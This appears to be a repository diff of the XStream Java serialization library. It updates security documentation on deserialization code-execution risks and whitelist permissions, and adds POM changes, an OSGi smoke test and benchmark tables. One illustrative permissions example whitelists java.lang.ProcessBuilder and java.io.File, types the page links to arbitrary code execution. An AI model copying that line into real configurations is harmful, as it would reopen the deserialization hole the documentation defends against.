32 process. A concrete case is described in <a href="CVE-2013-7285.html">CVE-2013-7285</a> and
33 <a href="CVE-2020-26217.html">CVE-2020-26217</a>.</p>
3334
3435 <p>Note that the XML data can be manipulated on different levels. For example, manipulating values on existing
3536 objects (such as a price value), or breaking the format and causing the XML parser to fail. The latter case will
6566 exploits is very high.</p>
6667
6768 <p class="hightlight">Therefore creates a black list for special classes only a scenario for a false security,
68 because no-one can assure, that no other scenario arise. A better approach is white listing i.e. the allowed class
69 because no-one can assure, that no other scenario arise. A better approach is a whitelist i.e. the allowed class
6970 types are setup explicitly. This will be the default for XStream 1.5.x.</p>
7071
7172 <p>Starting with XStream 1.4.7, an instance of the EventHandler is no longer handled by default. You have to
7879 XStream acts here like a script, and the scenario above can be created with any script that is executed within a
7980 Java runtime (e.g. using its JavaScript interpreter) if someone is able to manipulate it externally. The key
8081 message for application developers is that deserializing arbitrary user-supplied content is a dangerous proposition
81 in all cases. The best approach to prevent such an attach is a <a href="#example">white list</a>, i.e. the
82 in all cases. The best approach to prevent such an attach is a <a href="#example">whitelist</a>, i.e. the
8283 deserialization mechanism should only allow explicit types.</p>
8384
8485 <h2 id="explicit">Explicit Security</h2>
8687 <p>Starting with XStream 1.4.7, it is possible to define <a href="#framework">permissions</a> for types, to check
8788 the type of an object that should be unmarshalled. Those permissions can be used to allow or deny types explicitly
8889 With these permissions it is at least not possible to inject unexpected types into an object graph. The security
89 framework supports the setup of a black or white listing scenario. Any application should use this feature to
90 framework supports the setup of a blacklist or whitelist scenario. Any application should use this feature to
9091 limit the danger of arbitrary command execution if it deserializes data from an external source.</p>
9192
9293 <p>XStream itself sets up a black list by default, i.e. it blocks all currently known critical classes of the Java
9394 runtime. Main reason for the black list is compatibility, because otherwise newer versions of XStream 1.4.x can no
9495 longer be used as drop-in replacement. Unfortunately this provides a false sense of security. Every XStream
95 client should therefore switch to a white listing on its own as soon as possible. XStream itself will use white
96 listing as default starting with 1.5.x and only clients that have also changed their setup will be able to use this
97 newer version again as drop-in replacement.</p>
96 client should therefore switch to a whitelist on its own as soon as possible. XStream itself will use a whitelist
97 as default starting with 1.5.x and only clients that have also changed their setup will be able to use this newer
98 version again as drop-in replacement. You can use
99 <a href="javadoc/com/thoughtworks/xstream/XStream.html#setupDefaultSecurity-com.thoughtworks.xstream.XStream-">XStream.setupDefaultSecurity()</a>
100 to install the default whitelist of 1.5.x already with 1.4.10 or higher.</p>
101         
102 <p class=highlight>Note: If a type on a whitelist contains itself other members that are handled by XStream, you
103 will have to add those member's types to the whitelist also.</p>
104         
105 <p>Separate to the XStream security framework, it has always been possible to overwrite the setupConverter method
106 of XStream to register only the required converters.</p>
98107         
99108 <p class=highlight>Apart from value manipulations, this implementation still allows the injection of allowed
100109 objects at wrong locations, e.g. inserting an integer into a list of strings.</p>
101         
102 <p>Separate to the XStream security framework, it has always been possible to overwrite the setupConverter method
103 of XStream to register only the required converters.</p>
104110
105111 <h2 id="validation">XML Validation</h2>
106112
161167 <th>Permission</th>
162168 <th>Description</th>
163169 <th>Example</th>
164 <th>Default</th>
165170 </tr>
166171 <tr>
167172 <td><a href="javadoc/com/thoughtworks/xstream/security/AnyTypePermission.html">AnyTypePermission</a></td>
168 <td>Allow any type. You may use the ANY instance directly. A registration of this permission will wipe any
169 prior one.</td>
170 <td>&nbsp;</td>
171 <td>yes</td>
173 <td><b>Start a blacklist</b> and allow any type. A registration of this permission will wipe any prior one.
174 You may use the ANY instance directly. Note, that it is now in the responsibility of the developer to deny any
175 type that might be used for arbitrary code execution as described in the CVEs above.</td>
176 <td>addPermission(<i>AnyTypePermission.ANY</i>);</td>
172177 </tr>
173178 <tr>
174179 <td><a href="javadoc/com/thoughtworks/xstream/security/ArrayTypePermission.html">ArrayTypePermission</a></td>
175180 <td>Allow any array type. You may use the ARRAYS instance directly.</td>
176 <td>&nbsp;</td>
177 <td>no</td>
181 <td>addPermission(<i>ArrayTypePermission.ARRAYS</i>);</td>
178182 </tr>
179183 <tr>
180184 <td><a href="javadoc/com/thoughtworks/xstream/security/CGLIBProxyTypePermission.html">CGLIBProxyTypePermission</a></td>
181185 <td>Allow any CGLIB proxy type. You may use the PROXIES instance directly.</td>
182 <td>&nbsp;</td>
183 <td>no</td>
186 <td>addPermission(<i>CGLIBProxyTypePermission.PROXIES</i>);</td>
184187 </tr>
185188 <tr>
186189 <td><a href="javadoc/com/thoughtworks/xstream/security/ExplicitTypePermission.html">ExplicitTypePermission</a></td>
187190 <td>Allow types explicitly by name.</td>
188 <td>&nbsp;</td>
189 <td>&ndash;</td>
191 <td>allowTypes(new String[] {"<i>java.io.File</i>", "<i>java.lang.ProcessBuilder</i>"});<br/>
192 allowTypes(new Class[] {<i>java.io.File.class</i>, <i>java.lang.ProcessBuilder.class</i>});</td>
190193 </tr>
191194 <tr>
192195 <td><a href="javadoc/com/thoughtworks/xstream/security/InterfaceTypePermission.html">InterfaceTypePermission</a></td>
193196 <td>Allow any interface type. You may use the INTERFACES instance directly.</td>
194 <td>&nbsp;</td>
195 <td>no</td>
197 <td>addPermission(<i>InterfaceTypePermission.INTERFACES</i>);</td>
196198 </tr>
197199 <tr>
198200 <td><a href="javadoc/com/thoughtworks/xstream/security/NoPermission.html">NoPermission</a></td>
199 <td>Invert any other permission. Instances of this type are used by XStream in the deny methods.</td>
200 <td>&nbsp;</td>
201 <td>no</td>
201 <td>Invert any other permission. Instances of this type are used by XStream in the deny methods wrapping a permission.</td>
202 <td>denyPermission(<i>permissionInstance</i>);</td>
202203 </tr>
203204 <tr>
204205 <td><a href="javadoc/com/thoughtworks/xstream/security/NoTypePermission.html">NoTypePermission</a></td>
205 <td>Allow no type. You may use the NONE instance directly. A registration of this permission will wipe any
206 prior one.</td>
207 <td>&nbsp;</td>
208 <td>&ndash;</td>
206 <td><b>Start a whitelist</b> and allow no type. A registration of this permission will wipe any prior one.
207 You may use the NONE instance directly.</td>
208 <td>addPermission(<i>NoTypePermission.NONE</i>);</td>
209209 </tr>
210210 <tr>
211211 <td><a href="javadoc/com/thoughtworks/xstream/security/NullPermission.html">NullPermission</a></td>
212212 <td>Allow null as type. You may use the NULL instance directly.</td>
213 <td>&nbsp;</td>
214 <td>no</td>
213 <td>addPermission(<i>NullPermission.NULL</i>);</td>
215214 </tr>
216215 <tr>
217216 <td><a href="javadoc/com/thoughtworks/xstream/security/PrimitiveTypePermission.html">PrimitiveTypePermission</a></td>
218217 <td>Allow any primitive type and its boxed counterpart (excluding void). You may use the PRIMITIVES instance
219218 directly.</td>
220 <td>&nbsp;</td>
221 <td>no</td>
219 <td>addPermission(<i>PrimitiveTypePermission.PRIMITIVES</i>);</td>
222220 </tr>
223221 <tr>
224222 <td><a href="javadoc/com/thoughtworks/xstream/security/ProxyTypePermission.html">ProxyTypePermission</a></td>
225223 <td>Allow any Java proxy type. You may use the PROXIES instance directly.</td>
226 <td>&nbsp;</td>
227 <td>no</td>
224 <td>addPermission(<i>ProxyTypePermission.PROXIES</i>);</td>
228225 </tr>
229226 <tr>
230227 <td><a href="javadoc/com/thoughtworks/xstream/security/RegExpTypePermission.html">RegExpTypePermission</a></td>
231228 <td>Allow any type that matches with its name a regular expression.</td>
232 <td class="example">.*\\.core\\..*<br/>[^$]+</td>
233 <td>&ndash;</td>
229 <td class="example">allowTypeByRegExp(new String[]{"<i>.*\\.core\\..*</i>", "<i>[^$]+</i>"});<br/>
230 allowTypeByRegExp(new Pattern[]{Pattern.compile("<i>.*\\.core\\..*</i>"), Pattern.compile("<i>[^$]+</i>")});</td>
234231 </tr>
235232 <tr>
236233 <td><a href="javadoc/com/thoughtworks/xstream/security/TypeHierarchyPermission.html">TypeHierarchyPermission</a></td>
237234 <td>Allow types of a hierarchy.</td>
238 <td>&nbsp;</td>
239 <td>&ndash;</td>
235 <td>allowTypeHierarchy(<i>java.lang.Throwable.class</i>);</td>
240236 </tr>
241237 <tr>
242238 <td><a href="javadoc/com/thoughtworks/xstream/security/WildcardTypePermission.html">WildcardTypePermission</a></td>
243239 <td>Allow any type that matches with its name a wildcard expression.</td>
244 <td class="example">java.lang.*<br/>java.util.**</td>
245 <td>&ndash;</td>
240 <td>allowTypeByWildcard(new String[]{"<i>java.lang.*</i>", "<i>java.util.**"</i>});</td>
246241 </tr>
247242 </table>
248243
249 <h2 id="example">Example Code White Listing</h2>
244 <h2 id="example">Example Code Whitelist</h2>
250245
251246 <p>XStream uses the AnyTypePermission by default, i.e. any type is accepted. You have to clear out this default
252247 and register your own permissions to activate the security framework (the Blog type is from the
253248 <a href="alias-tutorial.html">Alias Tutorial</a>):</p>
254249 <div class="Source Java"><pre>XStream xstream = new XStream();
255 // clear out existing permissions and set own ones
250 // clear out existing permissions and start a whitelist
256251 xstream.addPermission(NoTypePermission.NONE);
257252 // allow some basics
258253 xstream.addPermission(NullPermission.NULL);
00 <html>
11 <!--
22 Copyright (C) 2005, 2006 Joe Walnes.
3 Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2013, 2014, 2015, 2016, 2017 XStream committers.
3 Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2013, 2014, 2015, 2016, 2017, 2019, 2020 XStream committers.
44 All rights reserved.
55
66 The software in this package is published under the terms of the BSD
124124 <li>Carsten Hammer</li>
125125 <li>Matej Cimbora</li>
126126 <li>Baptiste Mesta</li>
127 <li>Wes Wannemacher</li>
128 <li>Falko Modler</li>
127129 </ul>
128130
129131 <p>Please direct all correspondence about XStream to the <a href="mailing-lists.html">mailing list</a>
4444 </section>
4545 <section>
4646 <name>Vulnerabilities</name>
47 <page>CVE-2020-26217.html</page>
4748 <page>CVE-2017-7957.html</page>
4849 <page>CVE-2016-3674.html</page>
4950 <page>CVE-2013-7285.html</page>
1212 <parent>
1313 <groupId>com.thoughtworks.xstream</groupId>
1414 <artifactId>xstream-parent</artifactId>
15 <version>1.4.11.1</version>
15 <version>1.4.14</version>
1616 </parent>
1717 <artifactId>xstream-hibernate</artifactId>
1818 <packaging>jar</packaging>
0 <?xml version="1.0" encoding="UTF-8"?>
1 <project xmlns="http://maven.apache.org/POM/4.0.0"
2 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
3 xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
4 <!--
5 Copyright (C) 2019, 2020 XStream committers.
6 All rights reserved.
7
8 The software in this package is published under the terms of the BSD
9 style license a copy of which has been included with this distribution in
10 the LICENSE.txt file.
11
12 Created on 12. August 2019 by Joerg Schaible
13 -->
14 <parent>
15 <artifactId>xstream-parent</artifactId>
16 <groupId>com.thoughtworks.xstream</groupId>
17 <version>1.4.12-SNAPSHOT</version>
18 </parent>
19 <modelVersion>4.0.0</modelVersion>
20 <artifactId>xstream-its</artifactId>
21 <name>XStream ITs</name>
22 <description>Integration tests for XStream.</description>
23
24 <build>
25 <testResources>
26 <testResource>
27 <directory>src/test-resources</directory>
28 <filtering>true</filtering>
29 </testResource>
30 </testResources>
31 <plugins>
32 <plugin>
33 <groupId>org.apache.maven.plugins</groupId>
34 <artifactId>maven-deploy-plugin</artifactId>
35 <configuration>
36 <skip>true</skip>
37 </configuration>
38 </plugin>
39 <plugin>
40 <groupId>org.apache.maven.plugins</groupId>
41 <artifactId>maven-failsafe-plugin</artifactId>
42 <executions>
43 <execution>
44 <goals>
45 <goal>integration-test</goal>
46 <goal>verify</goal>
47 </goals>
48 </execution>
49 </executions>
50 </plugin>
51 <plugin>
52 <groupId>org.apache.maven.plugins</groupId>
53 <artifactId>maven-install-plugin</artifactId>
54 <configuration>
55 <skip>true</skip>
56 </configuration>
57 </plugin>
58 <plugin>
59 <groupId>org.apache.maven.plugins</groupId>
60 <artifactId>maven-jar-plugin</artifactId>
61 <executions>
62 <execution>
63 <id>default-jar</id>
64 <configuration>
65 <skipIfEmpty>true</skipIfEmpty>
66 </configuration>
67 </execution>
68 </executions>
69 </plugin>
70 </plugins>
71 </build>
72
73 <dependencies>
74 <dependency>
75 <groupId>com.thoughtworks.xstream</groupId>
76 <artifactId>xstream</artifactId>
77 </dependency>
78
79 <!-- test dependencies -->
80 <dependency>
81 <groupId>org.apache.felix</groupId>
82 <artifactId>org.apache.felix.framework</artifactId>
83 </dependency>
84 <dependency>
85 <groupId>org.glassfish.hk2.external</groupId>
86 <artifactId>javax.inject</artifactId>
87 </dependency>
88 <dependency>
89 <groupId>org.ops4j.pax.exam</groupId>
90 <artifactId>pax-exam-container-native</artifactId>
91 <exclusions>
92 <exclusion>
93 <groupId>org.osgi</groupId>
94 <artifactId>org.osgi.core</artifactId>
95 </exclusion>
96 </exclusions>
97 </dependency>
98 <dependency>
99 <groupId>org.ops4j.pax.exam</groupId>
100 <artifactId>pax-exam-extender-service</artifactId>
101 </dependency>
102 <dependency>
103 <groupId>org.ops4j.pax.exam</groupId>
104 <artifactId>pax-exam-invoker-junit</artifactId>
105 </dependency>
106 <dependency>
107 <groupId>org.ops4j.pax.exam</groupId>
108 <artifactId>pax-exam-junit4</artifactId>
109 </dependency>
110 <dependency>
111 <groupId>org.ops4j.pax.exam</groupId>
112 <artifactId>pax-exam-inject</artifactId>
113 </dependency>
114 <dependency>
115 <groupId>org.ops4j.pax.exam</groupId>
116 <artifactId>pax-exam-link-assembly</artifactId>
117 </dependency>
118 <dependency>
119 <groupId>org.ops4j.pax.exam</groupId>
120 <artifactId>pax-exam-link-mvn</artifactId><!-- Preferred link because it does not require an implicit mvn url handler -->
121 </dependency>
122
123 <dependency>
124 <groupId>junit</groupId>
125 <artifactId>junit</artifactId>
126 </dependency>
127 <dependency>
128 <groupId>org.slf4j</groupId>
129 <artifactId>slf4j-simple</artifactId>
130 <scope>test</scope>
131 </dependency>
132 </dependencies>
133
134 <properties>
135 <version.junit>4.11</version.junit>
136 <version.java.source>${version.java.6}</version.java.source>
137 <version.java.target>${version.java.6}</version.java.target>
138 </properties>
139 </project>
0 /*
1 * Copyright (C) 2019 XStream Committers.
2 * All rights reserved.
3 *
4 * The software in this package is published under the terms of the BSD
5 * style license a copy of which has been included with this distribution in
6 * the LICENSE.txt file.
7 *
8 * Created on 12. August 2019 by Joerg Schaible
9 */
10 package com.thoughtworks.xstream;
11
12 import static java.lang.String.format;
13 import static org.junit.Assert.assertEquals;
14 import static org.junit.Assert.assertNotNull;
15 import static org.junit.Assert.assertTrue;
16 import static org.ops4j.pax.exam.CoreOptions.junitBundles;
17 import static org.ops4j.pax.exam.CoreOptions.mavenBundle;
18 import static org.ops4j.pax.exam.CoreOptions.options;
19
20 import java.io.InputStream;
21 import java.util.Properties;
22
23 import javax.inject.Inject;
24
25 import org.ops4j.pax.exam.Configuration;
26 import org.ops4j.pax.exam.Option;
27 import org.ops4j.pax.exam.junit.PaxExam;
28 import org.ops4j.pax.exam.spi.reactors.ExamReactorStrategy;
29 import org.ops4j.pax.exam.spi.reactors.PerMethod;
30 import org.osgi.framework.Bundle;
31 import org.osgi.framework.BundleContext;
32
33 import org.junit.Test;
34 import org.junit.runner.RunWith;
35
36
37 /**
38 * @author Wes Wannemacher
39 */
40 @RunWith(PaxExam.class)
41 @ExamReactorStrategy(PerMethod.class)
42 public class OSGiIT {
43 @Inject
44 BundleContext bundleContext;
45
46 @SuppressWarnings("javadoc")
47 @Configuration
48 public Option[] config() throws Exception {
49 final Properties properties = new Properties();
50 final InputStream is = getClass().getResourceAsStream("/project.properties");
51 properties.load(is);
52 is.close();
53 final String xstreamVersion = properties.getProperty("project.version");
54
55 return options(junitBundles(), mavenBundle()
56 .groupId("com.thoughtworks.xstream")
57 .artifactId("xstream")
58 .version(xstreamVersion));
59 }
60
61 @SuppressWarnings("javadoc")
62 @Test
63 public void smokeTest() {
64 assertNotNull("BundleContext was not injected", bundleContext);
65
66 boolean xstreamBundleFound = false;
67 int xstreamBundleState = -1;
68 for (final Bundle bundle : bundleContext.getBundles()) {
69 if ("xstream".equals(bundle.getSymbolicName())) {
70 xstreamBundleFound = true;
71 xstreamBundleState = bundle.getState();
72 }
73 }
74
75 assertTrue("XStream bundle was not loaded", xstreamBundleFound);
76 assertEquals(format("XStream bundle was not active (was: %d)", xstreamBundleState), xstreamBundleState,
77 Bundle.ACTIVE);
78 }
79 }
0 project.version=${project.version}
00 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
11 <!--
2 Copyright (C) 2015, 2017 XStream committers.
2 Copyright (C) 2015, 2017, 2020 XStream committers.
33 All rights reserved.
44
55 The software in this package is published under the terms of the BSD
1212 <parent>
1313 <groupId>com.thoughtworks.xstream</groupId>
1414 <artifactId>xstream-parent</artifactId>
15 <version>1.4.11.1</version>
15 <version>1.4.14</version>
1616 </parent>
1717 <artifactId>xstream-jmh</artifactId>
1818 <packaging>jar</packaging>
229229 </dependency>
230230 </dependencies>
231231 <properties>
232 <version.java.source>1.6</version.java.source>
233 <version.java.target>1.6</version.java.target>
232 <version.java.source>${version.java.6}</version.java.source>
233 <version.java.target>${version.java.6}</version.java.target>
234234 </properties>
235235 </project>
0 Benchmark (codec) (data) (operation) Mode Cnt Score Error Units
1 Base64Benchmark.run xstreamInternal small encode avgt 16 370.353 ± 26.364 ns/op
2 Base64Benchmark.run xstreamInternal small decode avgt 16 387.549 ± 2.753 ns/op
3 Base64Benchmark.run xstreamInternal medium encode avgt 16 75746.500 ± 388.028 ns/op
4 Base64Benchmark.run xstreamInternal medium decode avgt 16 69507.593 ± 4615.284 ns/op
5 Base64Benchmark.run xstreamInternal big encode avgt 16 21809550.623 ± 287457.190 ns/op
6 Base64Benchmark.run xstreamInternal big decode avgt 16 22860405.161 ± 116129.778 ns/op
7 Base64Benchmark.run dataTypeConverter small encode avgt 16 113.739 ± 6.015 ns/op
8 Base64Benchmark.run dataTypeConverter small decode avgt 16 146.704 ± 7.826 ns/op
9 Base64Benchmark.run dataTypeConverter medium encode avgt 16 27994.835 ± 250.706 ns/op
10 Base64Benchmark.run dataTypeConverter medium decode avgt 16 31775.991 ± 997.564 ns/op
11 Base64Benchmark.run dataTypeConverter big encode avgt 16 11212057.101 ± 316407.971 ns/op
12 Base64Benchmark.run dataTypeConverter big decode avgt 16 7831267.697 ± 26381.875 ns/op
13 Base64Benchmark.run javaUtil small encode avgt 16 119.151 ± 0.623 ns/op
14 Base64Benchmark.run javaUtil small decode avgt 16 222.355 ± 10.904 ns/op
15 Base64Benchmark.run javaUtil medium encode avgt 16 19877.310 ± 1172.332 ns/op
16 Base64Benchmark.run javaUtil medium decode avgt 16 32920.559 ± 274.879 ns/op
17 Base64Benchmark.run javaUtil big encode avgt 16 9205883.279 ± 269329.433 ns/op
18 Base64Benchmark.run javaUtil big decode avgt 16 8964062.065 ± 394932.790 ns/op
19 Base64Benchmark.run commonsCodec small encode avgt 16 3416.205 ± 3.382 ns/op
20 Base64Benchmark.run commonsCodec small decode avgt 16 3514.384 ± 11.939 ns/op
21 Base64Benchmark.run commonsCodec medium encode avgt 16 78348.010 ± 2924.398 ns/op
22 Base64Benchmark.run commonsCodec medium decode avgt 16 74262.708 ± 3031.596 ns/op
23 Base64Benchmark.run commonsCodec big encode avgt 16 22347368.903 ± 178585.361 ns/op
24 Base64Benchmark.run commonsCodec big decode avgt 16 23798441.056 ± 195917.888 ns/op
25 Base64Benchmark.run migBase small encode avgt 16 113.382 ± 5.283 ns/op
26 Base64Benchmark.run migBase small decode avgt 16 171.957 ± 1.520 ns/op
27 Base64Benchmark.run migBase medium encode avgt 16 25132.013 ± 313.813 ns/op
28 Base64Benchmark.run migBase medium decode avgt 16 34109.501 ± 834.604 ns/op
29 Base64Benchmark.run migBase big encode avgt 16 10762327.746 ± 32072.333 ns/op
30 Base64Benchmark.run migBase big decode avgt 16 8194853.894 ± 34107.972 ns/op
0 Benchmark (codec) (data) (driverFactory) (operation) Mode Cnt Score Error Units
1 Base64Benchmark.run xstreamInternal small N/A encode avgt 16 426.295 ± 30.263 ns/op
2 Base64Benchmark.run xstreamInternal small N/A decode avgt 16 390.516 ± 4.600 ns/op
3 Base64Benchmark.run xstreamInternal medium N/A encode avgt 16 78991.509 ± 172.426 ns/op
4 Base64Benchmark.run xstreamInternal medium N/A decode avgt 16 96237.821 ± 8716.671 ns/op
5 Base64Benchmark.run xstreamInternal big N/A encode avgt 16 28024694.588 ± 777818.782 ns/op
6 Base64Benchmark.run xstreamInternal big N/A decode avgt 16 26005576.460 ± 95469.494 ns/op
7 Base64Benchmark.run dataTypeConverter small N/A encode avgt 16 116.346 ± 4.724 ns/op
8 Base64Benchmark.run dataTypeConverter small N/A decode avgt 16 144.778 ± 4.741 ns/op
9 Base64Benchmark.run dataTypeConverter medium N/A encode avgt 16 20738.849 ± 96.411 ns/op
10 Base64Benchmark.run dataTypeConverter medium N/A decode avgt 16 26443.941 ± 35.307 ns/op
11 Base64Benchmark.run dataTypeConverter big N/A encode avgt 16 10402424.065 ± 292760.969 ns/op
12 Base64Benchmark.run dataTypeConverter big N/A decode avgt 16 7684177.150 ± 452226.536 ns/op
13 Base64Benchmark.run javaUtil small N/A encode avgt 16 96.584 ± 0.382 ns/op
14 Base64Benchmark.run javaUtil small N/A decode avgt 16 83.813 ± 2.605 ns/op
15 Base64Benchmark.run javaUtil medium N/A encode avgt 16 14990.533 ± 1510.286 ns/op
16 Base64Benchmark.run javaUtil medium N/A decode avgt 16 13194.678 ± 21.584 ns/op
17 Base64Benchmark.run javaUtil big N/A encode avgt 16 6210509.128 ± 70567.009 ns/op
18 Base64Benchmark.run javaUtil big N/A decode avgt 16 5379677.044 ± 162435.588 ns/op
19 Base64Benchmark.run commonsCodec small N/A encode avgt 16 6402.767 ± 13.172 ns/op
20 Base64Benchmark.run commonsCodec small N/A decode avgt 16 6325.007 ± 7.691 ns/op
21 Base64Benchmark.run commonsCodec medium N/A encode avgt 16 68730.521 ± 2538.713 ns/op
22 Base64Benchmark.run commonsCodec medium N/A decode avgt 16 65192.120 ± 4534.865 ns/op
23 Base64Benchmark.run commonsCodec big N/A encode avgt 16 30413559.920 ± 211444.968 ns/op
24 Base64Benchmark.run commonsCodec big N/A decode avgt 16 21816582.642 ± 616700.770 ns/op
25 Base64Benchmark.run migBase small N/A encode avgt 16 98.949 ± 2.753 ns/op
26 Base64Benchmark.run migBase small N/A decode avgt 16 124.609 ± 0.332 ns/op
27 Base64Benchmark.run migBase medium N/A encode avgt 16 19505.761 ± 1294.819 ns/op
28 Base64Benchmark.run migBase medium N/A decode avgt 16 27299.148 ± 908.642 ns/op
29 Base64Benchmark.run migBase big N/A encode avgt 16 9984923.156 ± 13611.711 ns/op
30 Base64Benchmark.run migBase big N/A decode avgt 16 5733157.575 ± 32241.447 ns/op
31
00 Benchmark Mode Cnt Score Error Units
1 ConverterTypeBenchmark.custom avgt 16 9176744.283 ± 596076.907 ns/op
2 ConverterTypeBenchmark.javaBean avgt 16 18353984.976 ± 1308243.279 ns/op
3 ConverterTypeBenchmark.reflection avgt 16 23371721.858 ± 145348.676 ns/op
1 ConverterTypeBenchmark.custom avgt 16 9511483.088 ± 319352.540 ns/op
2 ConverterTypeBenchmark.javaBean avgt 16 18956037.656 ± 1379941.067 ns/op
3 ConverterTypeBenchmark.reflection avgt 16 22467750.653 ± 26871.357 ns/op
0 Benchmark Mode Cnt Score Error Units
1 NameCoderBenchmark.cachedEscapedUnderscoreCoding avgt 25 4350643.046 ± 24055.209 ns/op
2 NameCoderBenchmark.dollarCoding avgt 25 4621025.135 ± 248574.503 ns/op
3 NameCoderBenchmark.escapedUnderscoreCoding avgt 25 5896886.514 ± 44560.928 ns/op
4 NameCoderBenchmark.noCoding avgt 25 4190972.243 ± 149611.494 ns/op
5 NameCoderBenchmark.xmlFriendlyCoding avgt 25 4938586.549 ± 181401.642 ns/op
0 Benchmark Mode Cnt Score Error Units
1 NameCoderBenchmark.cachedEscapedUnderscoreCoding avgt 25 4486384.078 ± 76466.208 ns/op
2 NameCoderBenchmark.dollarCoding avgt 25 5006636.275 ± 393688.573 ns/op
3 NameCoderBenchmark.escapedUnderscoreCoding avgt 25 6714770.410 ± 140953.970 ns/op
4 NameCoderBenchmark.noCoding avgt 25 4068459.179 ± 187522.480 ns/op
5 NameCoderBenchmark.xmlFriendlyCoding avgt 25 5017414.939 ± 233268.851 ns/op
0 Benchmark (driverFactory) Mode Cnt Score Error Units
1 ParserBenchmark.parseBigText Xpp3 avgt 15 2155470.575 ± 23234.958 ns/op
2 ParserBenchmark.parseBigText kXML2 avgt 15 3663477.841 ± 25428.211 ns/op
3 ParserBenchmark.parseBigText JDKStax avgt 15 7444273.102 ± 58755.804 ns/op
4 ParserBenchmark.parseBigText Woodstox avgt 15 1845769.311 ± 4622.237 ns/op
5 ParserBenchmark.parseBigText BEAStax avgt 15 2879876.995 ± 59633.850 ns/op
6 ParserBenchmark.parseBigText DOM avgt 15 9710278.896 ± 31003.340 ns/op
7 ParserBenchmark.parseBigText DOM4J avgt 15 7452345.867 ± 23882.243 ns/op
8 ParserBenchmark.parseBigText JDom avgt 15 6387821.035 ± 84970.337 ns/op
9 ParserBenchmark.parseBigText JDom2 avgt 15 5921949.583 ± 34834.810 ns/op
10 ParserBenchmark.parseBigText Xom avgt 15 8204769.944 ± 114956.192 ns/op
11 ParserBenchmark.parseBigText Binary avgt 15 1129812.942 ± 16087.727 ns/op
12 ParserBenchmark.parseBigText Jettison avgt 15 3016232.225 ± 25147.822 ns/op
13 ParserBenchmark.parseManyChildren Xpp3 avgt 15 661082.180 ± 6313.751 ns/op
14 ParserBenchmark.parseManyChildren kXML2 avgt 15 854613.418 ± 23502.923 ns/op
15 ParserBenchmark.parseManyChildren JDKStax avgt 15 706572.092 ± 4563.202 ns/op
16 ParserBenchmark.parseManyChildren Woodstox avgt 15 632147.776 ± 10452.976 ns/op
17 ParserBenchmark.parseManyChildren BEAStax avgt 15 666062.149 ± 2243.640 ns/op
18 ParserBenchmark.parseManyChildren DOM avgt 15 53954694.751 ± 64528.143 ns/op
19 ParserBenchmark.parseManyChildren DOM4J avgt 15 93099746.029 ± 1777192.772 ns/op
20 ParserBenchmark.parseManyChildren JDom avgt 15 6898339.792 ± 94446.669 ns/op
21 ParserBenchmark.parseManyChildren JDom2 avgt 15 8723291.385 ± 91814.554 ns/op
22 ParserBenchmark.parseManyChildren Xom avgt 15 42486494.920 ± 833304.520 ns/op
23 ParserBenchmark.parseManyChildren Binary avgt 15 383203.739 ± 3522.118 ns/op
24 ParserBenchmark.parseManyChildren Jettison avgt 15 555908.503 ± 2937.376 ns/op
25 ParserBenchmark.parseNestedElements Xpp3 avgt 15 12444913.194 ± 216691.144 ns/op
26 ParserBenchmark.parseNestedElements kXML2 avgt 15 34372562.351 ± 393544.126 ns/op
27 ParserBenchmark.parseNestedElements JDKStax avgt 15 617636.917 ± 3232.109 ns/op
28 ParserBenchmark.parseNestedElements Woodstox avgt 15 604788.852 ± 12685.186 ns/op
29 ParserBenchmark.parseNestedElements BEAStax avgt 15 572549.126 ± 4791.275 ns/op
30 ParserBenchmark.parseNestedElements DOM avgt 15 5148010.389 ± 46007.206 ns/op
31 ParserBenchmark.parseNestedElements DOM4J avgt 15 5533035.930 ± 101440.131 ns/op
32 ParserBenchmark.parseNestedElements JDom avgt 15 14111857.552 ± 448478.887 ns/op
33 ParserBenchmark.parseNestedElements JDom2 avgt 15 10579620.188 ± 55254.011 ns/op
34 ParserBenchmark.parseNestedElements Xom avgt 15 8086714.065 ± 57941.667 ns/op
35 ParserBenchmark.parseNestedElements Binary avgt 15 260233.635 ± 4080.416 ns/op
36 ParserBenchmark.parseNestedElements Jettison avgt 15 619961.028 ± 7869.358 ns/op
0 Benchmark (driverFactory) Mode Cnt Score Error Units
1 ParserBenchmark.parseBigText Xpp3 avgt 15 2076542.383 ± 21070.325 ns/op
2 ParserBenchmark.parseBigText kXML2 avgt 15 3609529.640 ± 70339.168 ns/op
3 ParserBenchmark.parseBigText JDKStax avgt 15 8449107.541 ± 61967.793 ns/op
4 ParserBenchmark.parseBigText Woodstox avgt 15 1958090.473 ± 16778.643 ns/op
5 ParserBenchmark.parseBigText BEAStax avgt 15 3208123.897 ± 77313.722 ns/op
6 ParserBenchmark.parseBigText DOM avgt 15 10587727.502 ± 102744.156 ns/op
7 ParserBenchmark.parseBigText DOM4J avgt 15 8680900.188 ± 54539.385 ns/op
8 ParserBenchmark.parseBigText JDom avgt 15 6541414.372 ± 96753.674 ns/op
9 ParserBenchmark.parseBigText JDom2 avgt 15 5870155.438 ± 25749.627 ns/op
10 ParserBenchmark.parseBigText Xom avgt 15 8062184.585 ± 37582.497 ns/op
11 ParserBenchmark.parseBigText Binary avgt 15 1057890.361 ± 18005.100 ns/op
12 ParserBenchmark.parseBigText Jettison avgt 15 3610357.375 ± 8660.257 ns/op
13 ParserBenchmark.parseManyChildren Xpp3 avgt 15 717142.178 ± 9704.905 ns/op
14 ParserBenchmark.parseManyChildren kXML2 avgt 15 886358.766 ± 12643.107 ns/op
15 ParserBenchmark.parseManyChildren JDKStax avgt 15 771151.977 ± 10866.825 ns/op
16 ParserBenchmark.parseManyChildren Woodstox avgt 15 764703.865 ± 4983.789 ns/op
17 ParserBenchmark.parseManyChildren BEAStax avgt 15 862349.819 ± 23927.845 ns/op
18 ParserBenchmark.parseManyChildren DOM avgt 15 58925980.509 ± 521905.776 ns/op
19 ParserBenchmark.parseManyChildren DOM4J avgt 15 79133279.111 ± 1467045.110 ns/op
20 ParserBenchmark.parseManyChildren JDom avgt 15 6842504.530 ± 143906.198 ns/op
21 ParserBenchmark.parseManyChildren JDom2 avgt 15 9833407.570 ± 63131.868 ns/op
